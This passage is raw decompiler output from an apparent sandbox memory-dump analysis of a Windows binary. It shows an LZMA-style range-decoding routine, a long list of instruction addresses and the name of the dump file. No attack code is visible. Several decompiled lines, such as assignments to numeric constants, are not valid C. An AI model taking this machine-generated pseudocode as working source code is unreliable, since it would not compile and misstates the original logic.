													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406247
0x00406247
0x0040624b
0x0040626c
0x00406273
0x00406279
0x0040627f
0x00406291
0x00406297
0x0040629c
0x00000000
0x0040624d
0x00406253
0x00406614
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00000000
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614
0x00000000
0x0040624b

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

